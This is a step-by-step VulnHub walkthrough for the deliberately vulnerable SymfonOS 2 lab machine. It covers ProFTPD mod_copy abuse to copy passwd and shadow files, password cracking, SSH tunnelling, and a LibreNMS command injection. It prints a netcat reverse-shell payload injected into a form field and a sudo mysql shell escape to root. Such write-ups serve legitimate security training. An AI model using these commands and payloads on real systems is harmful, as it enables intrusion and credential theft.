SymfonOS 2 || VulnHub Walkthrough

Hello, everyone! Welcome back to our VulnHub Walkthrough series. In today’s article, we’ll continue exploring the exciting VulnHub collection with " SymfonOS ." Specifically, we’re diving into the second virtual machine in the series, " SymfonOS 2 ." 

This intermediate, OSCP-like, real-world scenario machine is designed to highlight the importance of understanding vulnerabilities and how to exploit them effectively. Let’s get started!

To begin, head over to the VulnHub website and download the machine's image file. 

Now, let’s get started with exploiting this machine!

Setting Up

After downloading the image, extract the 7Z archive to access the virtual machine files. 

Inside, you’ll find several essential files, including the VMDK file.

Now, we are creating a new virtual machine. In VirtualBox, click "New" to create a new VM. 

Name it " SymfonOS 2," set the OS type to Linux, and choose " Other Linux 64-bit " for the version since the specific distribution is unknown.

Now, allocate the desired amount of RAM. 

Next, select " Use an existing virtual hard disk file " and locate the VMDK file.

Now, click on "Finish" to complete the setup. Once it's finished, you'll see the "SymfonOS 2" vulnerable machine in the VirtualBox manager. Let me regroup it into the VulnHub group for better organization.

To ensure that your Kali Linux machine (used for attacks) and the vulnerable machine are connected to the same network, we have to make sure they're both connected via a host-only Adapter.

So, go to “ settings ” and change the Network adapter to " Host-Only ." 

Since everything is ready, let’s attempt to start the VM to check if it works.

Once it's ready, you should see a login prompt, indicating that everything is set up and we can begin our exploration! Let's dive into the fun!

Enumeration

Identify the IP address

The first step in our attack is enumeration, where we identify the IP address of our target machine using the netdiscover tool. This step helps map the network and locate devices that are up and accessible.

To execute this, open a terminal and enter: netdiscover –i, <specify the network interface name>

From these results, we can see several IP addresses along with their corresponding MAC addresses. 

Our target machine’s IP address is identified as “ 192.168.103.14”.

Conduct Network Scan

Next, we'll conduct a network scan to identify open ports on the target, which is an essential step in the enumeration process. Identifying open ports gives us insight into the network’s attack surface, allowing us to pinpoint specific services that might be vulnerable to exploitation. To perform this scan, we’ll use the widely used network scanning tool, Nmap.

In the terminal, run: nmap -sC –sV <specify the target IP address>

In this command:

• -sC initiates a script scan using Nmap's default scripts, which probe for additional details about each service and identify possible vulnerabilities.
• -sV enables version detection, allowing Nmap to determine the version of services running on open ports.

After completing the scan, the results reveal five open ports with their respective services:

• Port 21 (TCP): Running FTP (File Transfer Protocol), with the server version identified as ProFTPD 1.3.5:  This version is known to have potential vulnerabilities, making it a high-priority target.
• Port 22 (TCP): Running SSH (Secure Shell), which allows remote access to the device, provided valid credentials are available. While SSH itself is secure, weak or default passwords can make this port exploitable.
• Port 80 (TCP): Running HTTP on a web server. The scan reveals a basic website with no title, hosted on WebFS HTTPD web server software. We may investigate this for web-based vulnerabilities, as it’s often a common point of entry.
• Ports 139 and 445 (TCP): Running NetBIOS/Samba services, typically used for file and printer sharing. These ports are often linked to SMB (Server Message Block) protocol and can sometimes be misconfigured, offering unauthorized access.

These open ports provide potential entry points. Next, we’ll conduct a deeper enumeration of each service, probing for potential vulnerabilities or clues that might facilitate initial access or shell access to the server. This focused enumeration will help us strategically plan our approach to gain access to the target system.

Enumerate using NSE

To further analyze the detected ports and services, we’ll use the Nmap Scripting Engine (NSE) to scan for specific known vulnerabilities. This script-based scan leverages a collection of community-contributed vulnerability checks, allowing us to target specific vulnerabilities in our identified services.

This command uses the vuln script to check for known vulnerabilities on the target IP address. 

Here’s a summary of the output from our scan:

• Apache byte-range filter DoS : This vulnerability impacts the Apache web server, making it vulnerable to a denial of service (DoS) attack. The vulnerability, CVE-2011-3192, is triggered when numerous overlapping byte ranges are requested from the server, which can cause the server to become unresponsive.
• Microsoft regsvc Denial of Service : This vulnerability targets the regsvc service in older Microsoft Windows systems, specifically causing a null pointer to dereference. Exploiting this flaw could result in crashing the service, potentially creating an opening for further exploitation, though it’s more common on legacy systems.

With these results, we have identified several potential entry points for further exploitation. Our next steps will involve investigating each vulnerability to determine if they offer a means of gaining shell access or another foothold on the target system. 

Given the Apache DoS vulnerability on the HTTP web server, our initial focus will be on examining the web service on port 80, as it often serves as a primary access point and may expose additional attack vectors.

Web Enumeration and Directory Busting

To begin, we’ll access the web service on port 80 by entering the IP address directly into a web browser. 

Upon loading the page, we are presented with visual content that appears to be a painting, possibly from Greek or Roman mythology, featuring numerous figures— gods, goddesses, and mortals —engaged in various activities.

Now, let’s review the Page Source.

Inspecting the page source did not yield any valuable information or hidden elements that could assist in the attack. Following this, we attempted directory busting using tools like Gobuster other directory enumeration utilities to discover hidden files or directories that could serve as additional entry points. 

However, these attempts returned no useful results. Previously, from the Nmap Scripting Engine scan, we identified an Apache Byte Range Filter DoS vulnerability. 

While this vulnerability can be used to perform a denial-of-service (DoS) attack by sending numerous overlapping byte-range requests to crash or overload the server, it does not offer a direct method for obtaining shell access or gaining a foothold on the server.

Next, moving forward, we will continue to methodically examine each service and its identified vulnerabilities to determine the most promising approach for further penetration. Our strategy will focus on identifying weak points that are more likely to provide access rather than cause disruption, as our goal is to achieve a stable entry rather than impair functionality. By prioritizing these avenues, we can refine our approach to target the most viable points of exploitation.

FTP Enumeration

From our network mapping, we identified that Port 21 is open, indicating an FTP service is active. 

We can connect to it using an FTP client, but access requires a username and password, which we currently don’t have. In such cases, a brute-force attack could be attempted to discover the correct credentials, but this approach is often discouraged in Capture the Flag (CTF) challenges. Instead, we aim to exploit any misconfiguration or vulnerability present.

A common misconfiguration in FTP services is leaving anonymous login enabled, which allows access using " anonymous " as the username. This oversight is often due to a default setting that hasn’t been changed by the system administrator.

If you’re unfamiliar with how this misconfiguration might occur, you can watch this video for further insights.

Let's try with the anonymous username.

Upon trying to attempt to log in with the lowercase username "anonymous," the FTP server responded with:

331 Anonymous login ok, send your complete email address as your password

This response confirms that anonymous access is allowed, providing us with a way to explore the FTP directory without needing specific user credentials.

FTP servers that allow anonymous login often require an email address as the password, but this input is not strictly verified. In this case, any string can be used as the password to proceed. 

Once logged in, we can leverage FTP's SITE commands to explore additional functionalities and possibilities for exploitation. During our review, we noticed the FTP service is running ProFTPD version 1.3.5, an older version with a history of vulnerabilities. 

To explore potential exploits, we used searchsploit, a tool for locating public exploit code for known vulnerabilities. 

Running the appropriate search command in the terminal revealed several exploits linked to this ProFTPD version, particularly involving the mod_copy module.

The search results highlighted a File Copy vulnerability that allows attackers to copy sensitive files to directories accessible via FTP. This exploit could be used to retrieve files such as /etc/shadow , which contains hashed passwords.

To examine this vulnerability further, we downloaded the corresponding exploit text file using:

searchsploit -m linux/remote/36742.txt

This command retrieves the exploit documentation, which we can analyze for exploitation instructions.

The document outlines the process of copying sensitive files into accessible directories on the FTP server, enabling unauthorized access to critical data.

While this exploit seems promising, a significant challenge remains: determining a directory accessible to the anonymous FTP user for downloading the copied files. Since we are logged in as an anonymous user without elevated privileges, our access is restricted to specific locations. Identifying these directories will be crucial to successfully exfiltrate any copied files.

At this point, further exploration of the FTP server has not yielded a usable directory for file copying. As a result, we will pivot to other open ports, particularly the SMB (Samba) services running on ports 139 and 445. 

These services often contain shared resources that, if misconfigured, could reveal sensitive information or provide another entry point into the system.

Enumerating SMB (Samba) service

By systematically investigating these services and correlating findings, we aim to uncover additional leads that may allow us to exploit identified vulnerabilities or gain a foothold in the system.

Sometimes, due to misconfigurations, files or directories on SMB share may be unintentionally exposed, allowing access without authentication. To explore this possibility, we use the smbclient tool, which allows us to list available SMB shares on the target system. 

• The -N flag is used to bypass the need for a username or password when listing shares.

The scan reveals the following shared directories:

• print$: Used for printer drivers, generally not containing sensitive data.
• anonymous: An open share, potentially misconfigured and accessible without authentication. This share may hold valuable data.
• IPC$: Utilized for inter-process communication, unlikely to store files of interest.

Given the open nature of the anonymous share, we attempt to connect using the following command:

smbclient '\\192.168.103.6\anonymous' -N

The connection succeeds, confirming the share does not require authentication. Once inside, we list the files and directories within the anonymous share. 

A directory named backups catches our attention, as it could contain sensitive system data. 

Upon navigating into this directory, we find a file named log.txt , which appears to be significant.

After downloading the file for analysis, the contents revealed critical information:

• Shadow File Backup Location: The log indicated that the root user backed up the shadow file, which contains hashed passwords, to the directory /var/backups . This is a valuable lead for compromising credentials.

• User Accounts and Another Share: The file included a list of available users on the system and a reference to another SMB share at /home/aeolus/share , presenting an additional entry point for exploration.

With the file path to the shadow file (/var/backups) identified during our investigation and other leads gathered from SMB shares, we can now focus on leveraging the FTP service previously accessed using the anonymous login method. 

This step involves exploiting FTP-specific features to retrieve sensitive files, such as the shadow file, and placing them in an accessible directory.

Exploiting Mod_copy

Our approach involves correlating information from various sources, such as SMB shares and open services, to uncover weaknesses that can be exploited systematically. 

The goal is to use the FTP server’s mod copy vulnerability features to move sensitive files to a directory accessible via the SMB share, building toward compromising the target system.

FTP servers often recognize specific  SITE commands that perform administrative operations, such as file transfers. 

We use the  site help  command to display the available SITE commands, which provide a list of recognized commands.

Among them,  CPFR  and  CPTO  stand out as useful for file operations.

In this case, we’ll use the CPFR ("Copy From Remote") and CPTO ("Copy To Remote") commands to copy files from the FTP server to a directory accessible to the SMB share, /home/aeolus/share.

Copy the /etc/passwd File

The /etc/passwd file contains information about user accounts. Using CPFR and CPTO, we copy this file to the /home/aeolus/share directory.

• Initiate copy from the source:   site cpfr /etc/passwd.  

The server responds, confirming the file is ready to be copied.

• Copy to the target directory:   site cpto /home/aeolus/share/passwd.  

The server indicates a successful copy.

Copy /var/backups/shadow.bak

The shadow.bak file, located in /var/backups , contains password hashes critical for privilege escalation. We repeat the steps.

• Initiate copy from the source:   site cpfr /var/backups/shadow.bak

• Copy to the target directory:    site cpto /home/aeolus/share/shadow.bak

This operation is also successful, making the file accessible. 

We have now successfully copied two important files, passwd,   and  shadow.bak, to the /home/aeolus/share directory. 

Retrieve the Copied File

With the sensitive files copied to /home/aeolus/share , we switch back to the SMB service to retrieve them.

Previously, we explored the backups directory within the anonymous SMB share. To access the new files:

Navigate to the parent directory by executing: cd .., and list all available files and directories using ls 

The files passwd and shadow.bak are now visible in the directory. Now, let’s retrieve the files to the local machine. To retrieve the files to the local machine, we use the get command. 

After downloading, we verify the files on our local machine by listing files and directories.

The files passwd and shadow.bak are successfully saved.  These files contain valuable information:

• The passwd file contains the Lists of user accounts. 
• The shadow.bak file contains password hashes, which can be cracked using tools like John the Ripper or hashcat to obtain plaintext passwords.

With this password in hand, we can successfully gain a foothold on the target system.

Foothold

Retrieve the Password using John The Ripper

Before proceeding with the analysis of the shadow.bak file, we need to confirm its format and contents to ensure it is suitable for password cracking.

Using the file command, we check the file type. 

The output confirms that shadow.bak is an ASCII text file, indicating it contains plain text data.

Upon opening the file, we observe that it contains hashed password data for system users, including accounts such as aeolus and  Cronus , alongside system accounts.

The password hashes are in the SHA-512 crypt format , identified by the prefix $6$ , which is commonly used for Linux systems.  

To crack these password hashes, we’ll use the popular tool John the Ripper . 

Renaming the File for Simplicity

For better organization, we rename shadow.bak to shadow .

Combine passwd and shadow with unshadow

To prepare the hashes for cracking, we need to combine the passwd file (containing usernames) with the shadow file (containing hashed passwords). This is done using the unshadow command.

The unshadow command creates a new file, hash.txt, which includes user accounts and their corresponding password hashes in a format that John the Ripper can process.

We now use John the Ripper to crack the hashes in hash.txt. 

John the Ripper begins analyzing the hashes and attempting to crack them using its default wordlist. The tool outputs any successfully cracked passwords to the terminal.

The output reveals that the password for the aeolus account has been successfully cracked. The cracked password for aeolus is sergioteamo.

With the cracked password for the aeolus account, sergioteamo, we are now ready to establish access to the target system via SSH.

Establish the SSH connection

To initiate the login process, use ssh aeolus@192.168.103.14 command. Since this is the first time connecting to the server, the system will prompt us to confirm the authenticity of the host. This is a security measure to prevent man-in-the-middle attacks. We confirm by typing yes when prompted.

After confirming the host, we are prompted to enter the password for the  Aeolus  account. We enter the cracked password  sergioteamo . 

Upon successfully entering the password, we gain access to the  aeolus  account on the target server. We can now ready to access the user flag if present in Aeolus's home directory. So, list the files and directory.

However, we do not find the user flag in the expected location. Here, there is a directory that catches my eye. Let me navigate to it. 

Oh! It looks like, we have accessed the backup share which we previously accessed from the SMB client.

Since the user flag is not present, it is a good opportunity to shift our focus to the root flag. It may be hidden or located in another directory, and accessing root-level privileges will be key to further progressing in the challenge.

We will now explore potential methods for escalating our privileges to root and uncovering any further valuable information on the server.

Privilege Escalation

The first step in privilege escalation is to gather critical information about the system. By identifying vulnerabilities or misconfigurations, we can elevate our privileges and gain root access. Below, we will go through key steps to check the current user's permissions and identify potential attack vectors.

To begin, we need to determine what privileges the current user has. We can do this by running commands that display the user's rights, such as sudo -l and id.

Now, let me run the  command. 

The id command reveals the current user's details, including the user ID (UID), group ID (GID), and the groups to which the user belongs. This is useful for understanding the user context we are working in.

Upon running this, we discover that both the UID and group belong to the user  Aeolus .

Next, we check the permissions of the aeolus user by running the sudo -l command. 

This shows what commands the user can execute with elevated privileges, if any.

From the output, we see that aeolus cannot run any commands with sudo privileges on the system ( symfonos2 ). This limits our ability to escalate privileges directly, so we need to explore other potential methods.

Since the aeolus account lacks sudo access, we need to investigate further to identify any other accounts on the system that may provide a pathway for privilege escalation. 

By navigating to the /home directory and listing its contents, we discover another directory named cronus in addition to aeolus. 

This suggests the presence of a second user,  Cronus , whose account may have elevated permissions.

Previously, attempts to crack the password for cronus using John the Ripper were unsuccessful. However, this account might still hold the necessary privileges for escalation. 

Exploring the cronus directory reveals no flags or clues, indicating that we need to find a way to switch to the cronus user for further investigation.

Escalate to user, Cronus

To proceed, we need to gather more information about the system and potential vulnerabilities. For this purpose, we can use LinPEAS, a powerful script designed to automate the discovery of privilege escalation vectors. 

Enumerate using LinPEAS

Running LinPEAS will help us identify any exploitable weaknesses or misconfigurations that could allow us to gain access to the cronus account or escalate our privileges further.

Below is a step-by-step guide on how to deploy and run LinPEAS to scan the target system for vulnerabilities.

1. We need to download the LinPEAS script from GitHub. The script can be easily obtained from the LinPEAS repository. 

2. Once we have the LinPEAS script on our local machine, the next step is to transfer it to the target system. 

• This can be done by setting up a simple HTTP server on our local machine to serve the script to the target system. 
• In the directory where   linpeas.sh  is located, run  python3 -m http.server  command to start an HTTP server on port 8000. 

This will make the LinPEAS script accessible to the target system via HTTP on port 8000.

3. Now, on the target system shell, navigate to the /tmp directory. Use the wget command to download the LinPEAS script from our local server.

4. After downloading the script, we need to check whether it has the necessary execution permissions. Use the ls command to list the filesand directories to verify whether linpeas.sh has execution permissions.

5. It does not, so, we will need to modify the permissions. To make linpeas.sh executable, the  chmod  command.

6. Now that, we have the script and the correct permissions, we can run LinPEAS to perform a comprehensive scan of the system. 

This script will examine various aspects of the system for potential weaknesses, including:

• Misconfigurations : Checking for poorly configured files, services, or permissions.
• Outdated Software : Identifying vulnerable software versions that may have known exploits.
• Security Weaknesses : Scanning for common security issues that can be exploited to escalate privileges.

Run the script by executing: ./linpeas.sh

Once LinPEAS completes its scan, it's crucial to carefully review the output for potential privilege escalation opportunities. While the output might be extensive, there are key areas that can provide insights into possible weaknesses.

We’ll admit, there’s a lot of output here. But there are a few interesting things:

• The Kernel Version(4.9.0-9)
• The other users on the system (Cronos)

Upon further analysis of the LinPEAS report, the active ports section stood out. Here's a snapshot of the open ports on the system.

But the biggest thing that stood out for me is the other ports that are listening.

• MySQL is running on port 3306, which could indicate the possibility of exploiting MySQL if weak credentials are found or if there's an open connection.
• The Port 8080 is also open, likely hosting a web service. 

To investigate further, we need to look into the Apache configuration related to port 8080 . 

It's running Apache, and the configuration file librenms.conf  is listed in the LinPEAS output as enabled on port 8080.

Investigating LibreNMS

First, change the directory to /etc/apache2/sites-enabled,  find configuration files.

Here, we find that the site librenms.conf is enabled on the port 8080 . This could potentially lead to further exploitation if the service running on this port is misconfigured or vulnerable.

However, during the Nmap scan, we noticed that port 8080 is not open to external connections. This indicates that the port is either:

1. Restricted to localhost access: Accessible only from the target machine itself.
2. Not forwarded externally: Blocked by firewall settings or network configurations.

This is a common scenario when services are intentionally restricted for local use, providing an additional layer of security. 

SSH Tunnelling

To bypass these restrictions and interact with the service on port 8080, we can use SSH port forwarding to create a secure tunnel between our local machine and the target machine.

What Is SSH Port Forwarding?

SSH port forwarding, also known as tunneling , redirects traffic from a local port on your machine to a remote port on the target system. This method allows you to access services that are otherwise inaccessible due to firewall or network restrictions.

Here’s the command to forward port 8080 from the target system (localhost) to our local machine.

Where, 

• -L flag tells SSH to forward traffic from localhost:8080 on the attacking machine to 127.0.0.1:8080 on the target machine.

After successfully connecting, navigate to http://127.0.0.1:8080 in a web browser to access the web application running on port 8080. This method allows us to interact with the web service on the target machine as if it were hosted locally, even if the port isn’t accessible externally.

Upon accessing the webpage, we find the LibreNMS login page. 

LibreNMS is an open-source network monitoring tool designed for system monitoring tasks such as alerting and performance tracking. 

The login prompt requests a username and password.

Using credentials previously obtained (username: aeolus , password: sergioteamo ), we log into LibreNMS successfully. 

However, while exploring the application, no critical information or additional privileges were immediately evident. 

Exploiting LibreNMS

To identify the potential for vulnerabilities within the application that could be exploited.

After identifying a command injection vulnerability in LibreNMS using searchsploit, we can exploit it to escalate privileges. The vulnerability, specifically related to the addhost functionality allows for remote code execution.

We have two ways to exploit this vulnerability. 

1. The first method involves manually applying the exploit code within the LibreNMS dashboard to obtain a reverse shell.
2. The second method uses the Metasploit Framework. 

Gain Reverse Shell

In this instance, we will use the manual method to gain a reverse shell. From the searchsploit results, we discovered an exploit script written in Python. Let’s begin by copying the code to our local environment.

Now that the script is copied, let’s analyze its functionality to understand how the exploit works.

Upon analyzing I find out that, the script exploits the vulnerability in LibreNMS version 1.46 , allowing authenticated remote code execution. 

1. It begins by verifying that the user provides the required inputs: the target URL, authentication cookies, the attacker's IP address, and a listening port. 
2. If the inputs are valid, it prepares a reverse shell payload that uses a named pipe to execute a shell and connect it back to the attacker's machine via Netcat.
3. The script parses the provided cookies into a usable format and then sends a POST request to the /addhost/ endpoint of the target LibreNMS server. 
4. This request attempts to create a new device in the application, embedding the reverse shell payload into the " community " field. 
5. If the server responds indicating that the device was successfully added, the exploit proceeds to the next stage.
6. The second stage sends a GET request to the /ajax_output.php endpoint with specific parameters, triggering the SNMPwalk functionality. 
7. When the server processes the SNMPwalk request, it executes the embedded reverse shell payload, connecting back to the attacker's machine.
8. If the exploit is successful, the attacker gains a reverse shell as the "cronus" user on the target server. 
9. The script checks for success by verifying the presence of the attacker's IP address in the server's response. 
10. At this point, the attacker can use the shell for further actions, such as privilege escalation or data extraction. If any step fails, the script provides error messages to guide debugging.

Using the Python exploit script can certainly achieve a reverse shell, but let me show you how to achieve the same result manually without using the script.

First, start by creating a listening port on your attacking machine. Open a terminal and use the command nc -lvnp 4444 to set up the listener.

Follow the below step to inject the revere shell code:

1. Navigate to the LibreNMS web interface in your browser. 

2. From the Gear Menu , select the Devices tab .

3. Then, click on " Add Device ," which will bring up a form designed to add a new device to the system for SNMP or ping reachability checks.

In the form, fill in the required fields. 

• Add a hostname, 
• Enable SNMP, 
• Choose the appropriate SNMP version 
• Set the Port Association Mode as instructed by the Python script (or as per your preference). 

4. The critical part is the Community field, where the reverse shell payload must be injected. For this payload, you can use something like:

'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker-ip> <port> >/tmp/f) #

5. Make sure to enable the Force Add option to bypass ICMP or SNMP checks. Then, click " Add Device ." 

Once completed, a new device entry will appear in the interface.

6. Now, to execute the payload, trigger the SNMP check. This can be done by navigating through the LibreNMS interface to find the Capture functionality, typically under the SNMP tab . 

This action triggers the SNMP walk functionality, which will execute the injected payload.

As soon as the payload runs, you’ll observe a reverse shell connection being established on your machine, as indicated in the terminal running nc . 

You now have shell access to the target system as the " Cronus " user.

Enumerate the user cronus

Run the id command to verify the user and privileges. 

The output confirms that you are logged in as the " cronus" user, who is part of additional groups like " librenms ." This demonstrates a privilege escalation, providing access beyond the original user account (Aeolus).

To proceed further, we need to escalate privileges to root, as the standard user privileges of " cronus " limit our ability to fully control the system or investigate sensitive files.

First, we check the permissions available to the " cronus" user by running the sudo -l command. 

This command lists all the commands the user can execute with elevated privileges. The output reveals that " cronus " can execute the /usr/bin/mysql binary as root without providing a password.

With this information, we search for privilege escalation techniques related to the MySQL binary. 

Sudo MySQL Binary

Using gtfobins.github.io, a repository for binaries that can be exploited for privilege escalation, we search for "MySQL." 

The results show that the mysql binary can execute shell commands via the \! feature when used with sudo .

To exploit this, we run: sudo mysql -e '\! /bin/bash'

Here, 

• sudo mysql runs the MySQL client as root, and 
• the -e flag executes the bash shell via the MySQL client. 

This command successfully spawns a root shell. After executing this command, we are now in a root shell. Verify this by running whoami.

Upon execution, it confirms that we are now operating as the root user. However, the shell at this point is not fully interactive. 

To improve usability, we check if Python is installed by running,  which python , which shows Python’s location as /usr/bin/python .

Next, we use Python to spawn a pseudo-terminal with the command: python -c "import pty; pty.spawn('/bin/bash')"

This provides a more interactive and functional shell environment, making it easier to execute commands and navigate the system.

Retrieve the Flag

With root access established, we navigate to the /root directory and list files and directories.

This directory contains sensitive files, including the root flag, which can now be accessed. 

From this point, further investigation or data retrieval can be performed as needed.